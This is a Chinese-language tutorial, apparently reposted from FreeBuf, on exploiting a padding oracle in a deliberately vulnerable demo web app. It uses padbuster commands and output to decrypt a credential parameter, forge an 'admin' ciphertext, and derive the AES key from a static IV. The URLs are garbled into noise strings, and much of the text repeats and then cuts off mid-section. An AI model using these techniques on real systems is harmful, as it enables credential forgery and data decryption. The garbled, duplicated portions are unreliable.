-
-
利用Padding Oracle攻击获取加密密钥
-
发表于: 2015-11-12 16:54 1585
-
0×00 前言
本文中我想分享一些利用padding oracle漏洞的实用技巧,这种类型的漏洞允许攻击者解密密文以及加密明文。有关padding oracle攻击概念以及工作原理的更多信息可以在Brian Holyfield的上一篇博文中找到。
0×01 简单的padding oracle场景
本文中使用的示例应用程序包含其他漏洞,使用该漏洞能够恢复加密密钥。我们将使用padbuster发起padding oracle攻击,并演示如何使用python-paddingoracle库创建一个定制的漏洞利用工具。此外,你可以在GitHub上找到本文示例的包含漏洞的应用程序。
应用程序解密一个名为‘cipher’的请求参数:
curl c87K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.
decrypted: ApplicationUsername=user&Password=sesame
因为加密密钥和初始化向量都用来加密和解密这个值,所以我们知道PKCS#5 padding的AES-128和相同的静态密码,并且此处没有HMAC或者其他信息的完整性检查。
关键字PKCS#5和MAC都没有表明应用程序可能容易受到padding oracle攻击。通过翻转第一块中的二进制位,我们就可以确认这里并没有对解密的数据进行语法检查。此外,我们还可以看到,应用程序顺利地处理了第一块中的垃圾数据:
curl 52dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5k6X3j5@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3k6r3g2U0M7Y4W2H3N6r3g2V1i4K6y4m8i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4c8W2!0n7c8W2!0n7c8q4)9J5b7W2!0q4c8W2!0n7c8W2!0n7c8q4)9#2c8o6N6z5i4@1g2r3i4@1u0r3i4@1u0p5k6q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8p5&6Q4c8f1k6Q4b7V1k6Q4b7V1c8E0k6g2)9K6c8s2g2K6k6i4u0Q4x3U0k6b7j5i4y4K6N6$3!0J5k6q4)9K6c8s2y4W2M7$3q4E0k6b7`.`.
下一步就是检查应用程序对不正确的padding是如何响应的。我们可以通过翻转最后一块中的位来做到这一点。由下面的代码可以看出,对于padding不正确时,应用程序会返回“decryption error”。
curl 0feK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3k6X3
decryption error
现在知道这个应用程序包含这种漏洞,所以我们可以运行padbuster来利用它。我强烈推荐阅读Brian的padbuster博文,并查看帮助输出,但为了方便,你可以找到padbuster的简介如下:
padbuster URL EncryptedSample BlockSize [options]
在这种情况下运行padbuster很直观:块大小是16(16字节=128比特位),现在我们唯一需要的额外开关是-encoding 1(小写十六进制)。
padbuster "d3bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 42 N/A
2 ** 255 200 16 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[snip]
Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor
*** Starting Block 2 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
请注意,恢复第一块是不可能的。查看下面有关CBC解密的框图能够有助于理解为什么无法恢复。通过利用padding oracle,就有可能在解密第一块之后获得中间值(padbuster中的-noiv选项)。然而,我们不知道计算第一块明文的初始化向量(IV)。
细心的读者可能已经意识到,知道明文允许我们计算初始化向量,而它会用作加密密钥,下图更加详细地解释了这一点。

为了节省时间,我们还可以为无效padding指定错误字符串:
-error “decryption error”
0×02 一个更加复杂的例子
现在让我们来看一个稍微复杂的场景:对于不正确的padding,应用程序不返回一个特定的错误消息。相反,应用程序解析已解密数据中的一些字段,如果未发现必需字段,则会返回一个错误消息。在这种情况下,所需的字段是“ApplicationUsername”和“Password”。
这里有一个成功请求的例子:“cipher”参数成功解密并包含所有必需的字段。应用程序以解密值和所有解析的字段响应请求。
curl 276K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`.
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
如果我们发送一个仅仅包含一个“Password”字段的请求,那么应用程序将返回“ApplicationUsername missing”。
curl 322K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5x3K6S2V1x3o6f1%4j5U0p5K6j5U0S2S2k6h3j5J5x3h3c8T1k6U0W2T1y4o6y4T1y4U0k6S2y4X3b7^5z5h3p5`.
decrypted: Password=sesame
curl 957K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6x3^5k6o6l9#2y4$3t1I4x3$3t1^5j5h3g2X3x3U0q4V1j5X3j5&6j5U0b7K6j5U0j5$3j5e0k6V1z5o6W2S2
ApplicationUsername missing
而在加密值仅仅包含一个“ApplicationUsername”字段时,应用程序将返回“Password missing”。
curl f45K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3t1K6x3o6W2W2k6X3f1&6j5K6W2X3j5U0M7I4k6h3p5J5z5o6y4V1k6o6b7J5k6e0b7@1y4h3y4U0y4$3t1#2y4l9`.`.
decrypted: ApplicationUsername=user
curl aebK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1x3K6l9&6k6h3k6W2z5h3x3&6k6X3t1%4x3h3g2S2x3U0R3K6k6r3b7@1x3X3f1@1y4o6g2U0j5K6N6T1y4e0b7`.
Password missing
当篡改最后一块时,padding将变成无效。结果,因为应用程序无法解密“cipher”参数,所以会返回 “ApplicationUsername missing”。
curl 657K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8X3k6R3`.`.
ApplicationUsername missing
不幸的是,使用最小项(minimal options)启动padbuster会失败:当它试图暴力破解第一块时,总是遇到同样的错误消息(ApplicationUsername missing)。
padbuster "d9cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`." "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.
但是,我们仍然可以利用应用程序检查字段的顺序特点来破解:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。
在下面的例子中,在执行padding oracle攻击时,我们预先考虑了密文的前两个块,这是因为“ApplicationUsername”字段横跨了两个块(见附录)。
padbuster "363K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`." "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
0×03 加密
我们也可以加密任意内容(请参阅padbuster博文原文,以了解背后的工作原理)。不过,唯一的限制是不能控制第一块,这是因为此时静态初始化向量正在被占用。如果我们用“=bla&”终止第一块中无法控制的数据,那么应用程序将仍然接受由此产生的密文。注意,我们精心编制的密文不必具有与原始密文相同的长度。
padbuster "610K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------
curl 1fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6M7#2x3$3f1J5x3o6b7%4k6e0p5&6j5X3j5J5y4o6R3$3y4X3q4W2y4e0j5K6y4r3j5K6y4o6f1@1k6h3j5K6j5e0x3^5x3o6u0V1y4e0p5@1y4r3p5H3y4e0q4S2y4K6t1@1y4U0M7$3x3X3j5#2y4$3p5I4y4X3j5%4x3K6f1K6x3h3b7%4y4X3q4V1j5e0f1J5y4o6t1J5k6e0p5%4y4X3g2S2x3o6N6W2y4o6f1K6z5o6c8V1k6U0j5&6k6o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3
decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin
parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0×04 获得密钥
能够解密并编造“cipher”参数都非常糟糕了,但为密钥设置初始化向量却引入了另一个漏洞:初始化向量(以及由此产生的加密密钥)是第一块与解密第一块所产生的中间值进行XOR运算得到的明文(见下面的框图)。
我们可以这样假设,攻击者可以根据以下信息猜出明文:规范、从padding oracle攻击中的解密部分或者应用程序展示的消息。

通过使用padbuster 的“-noiv”开关,我们能够得到解密第一块后的中间值:
padbuster "86cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]
一旦我们得到中间值,那么我们将其与明文进行XOR运算就可以获取加密密钥:
0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0×05 定制Python脚本
在padbuster不够灵活的情况下,python-paddingoracle库允许我们创建一个定制的漏洞利用工具。例如,当目标应用程序使用CSRF令牌或在测试web服务时。
在GitHub上可以找到两个利用了我们示例的web应用的Python脚本。第一个脚本“http-simple.py”针对简单的场景。更高级的场景需要前缀密文,这已在“http-advanced.py”中实现了,这个脚本还演示了如何加密明文及计算密钥。
0×06 附录:密文块
块1: 484b850123a04baf15df9be14e87369b ApplicationUsern
块2: c59ca16e1f3645ef53cc6a4d9d87308e ame=user&Passwor
块3: d2382fb0a54f3a2954bfebe0a04dd4d6 d=sesame[padding]
*参考来源:gdssecurity,编译/FB小编JackFree,有适当删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)
本文中我想分享一些利用padding oracle漏洞的实用技巧,这种类型的漏洞允许攻击者解密密文以及加密明文。有关padding oracle攻击概念以及工作原理的更多信息可以在Brian Holyfield的上一篇博文中找到。
0×01 简单的padding oracle场景
本文中使用的示例应用程序包含其他漏洞,使用该漏洞能够恢复加密密钥。我们将使用padbuster发起padding oracle攻击,并演示如何使用python-paddingoracle库创建一个定制的漏洞利用工具。此外,你可以在GitHub上找到本文示例的包含漏洞的应用程序。
应用程序解密一个名为‘cipher’的请求参数:
curl c87K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.
decrypted: ApplicationUsername=user&Password=sesame
因为加密密钥和初始化向量都用来加密和解密这个值,所以我们知道PKCS#5 padding的AES-128和相同的静态密码,并且此处没有HMAC或者其他信息的完整性检查。
关键字PKCS#5和MAC都没有表明应用程序可能容易受到padding oracle攻击。通过翻转第一块中的二进制位,我们就可以确认这里并没有对解密的数据进行语法检查。此外,我们还可以看到,应用程序顺利地处理了第一块中的垃圾数据:
curl 52dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5k6X3j5@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3k6r3g2U0M7Y4W2H3N6r3g2V1i4K6y4m8i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4c8W2!0n7c8W2!0n7c8q4)9J5b7W2!0q4c8W2!0n7c8W2!0n7c8q4)9#2c8o6N6z5i4@1g2r3i4@1u0r3i4@1u0p5k6q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8q4!0q4c8W2!0n7c8W2!0n7c8p5&6Q4c8f1k6Q4b7V1k6Q4b7V1c8E0k6g2)9K6c8s2g2K6k6i4u0Q4x3U0k6b7j5i4y4K6N6$3!0J5k6q4)9K6c8s2y4W2M7$3q4E0k6b7`.`.
下一步就是检查应用程序对不正确的padding是如何响应的。我们可以通过翻转最后一块中的位来做到这一点。由下面的代码可以看出,对于padding不正确时,应用程序会返回“decryption error”。
curl 0feK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3k6X3
decryption error
现在知道这个应用程序包含这种漏洞,所以我们可以运行padbuster来利用它。我强烈推荐阅读Brian的padbuster博文,并查看帮助输出,但为了方便,你可以找到padbuster的简介如下:
padbuster URL EncryptedSample BlockSize [options]
在这种情况下运行padbuster很直观:块大小是16(16字节=128比特位),现在我们唯一需要的额外开关是-encoding 1(小写十六进制)。
padbuster "d3bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3u0U0y4e0W2U0j5e0p5$3k6e0q4X3x3K6j5@1y4h3g2X3y4e0y4U0j5K6k6S2y4r3b7&6k6o6R3%4x3K6l9^5k6h3b7J5x3K6R3J5k6X3t1H3j5e0f1@1k6U0y4S2x3U0V1#2y4r3u0X3k6h3u0W2x3r3p5H3y4r3c8V1y4r3b7$3" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 42 N/A
2 ** 255 200 16 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[snip]
Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor
*** Starting Block 2 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
请注意,恢复第一块是不可能的。查看下面有关CBC解密的框图能够有助于理解为什么无法恢复。通过利用padding oracle,就有可能在解密第一块之后获得中间值(padbuster中的-noiv选项)。然而,我们不知道计算第一块明文的初始化向量(IV)。
细心的读者可能已经意识到,知道明文允许我们计算初始化向量,而它会用作加密密钥,下图更加详细地解释了这一点。

为了节省时间,我们还可以为无效padding指定错误字符串:
-error “decryption error”
0×02 一个更加复杂的例子
现在让我们来看一个稍微复杂的场景:对于不正确的padding,应用程序不返回一个特定的错误消息。相反,应用程序解析已解密数据中的一些字段,如果未发现必需字段,则会返回一个错误消息。在这种情况下,所需的字段是“ApplicationUsername”和“Password”。
这里有一个成功请求的例子:“cipher”参数成功解密并包含所有必需的字段。应用程序以解密值和所有解析的字段响应请求。
curl 276K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`.
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
如果我们发送一个仅仅包含一个“Password”字段的请求,那么应用程序将返回“ApplicationUsername missing”。
curl 322K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5x3K6S2V1x3o6f1%4j5U0p5K6j5U0S2S2k6h3j5J5x3h3c8T1k6U0W2T1y4o6y4T1y4U0k6S2y4X3b7^5z5h3p5`.
decrypted: Password=sesame
curl 957K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6x3^5k6o6l9#2y4$3t1I4x3$3t1^5j5h3g2X3x3U0q4V1j5X3j5&6j5U0b7K6j5U0j5$3j5e0k6V1z5o6W2S2
ApplicationUsername missing
而在加密值仅仅包含一个“ApplicationUsername”字段时,应用程序将返回“Password missing”。
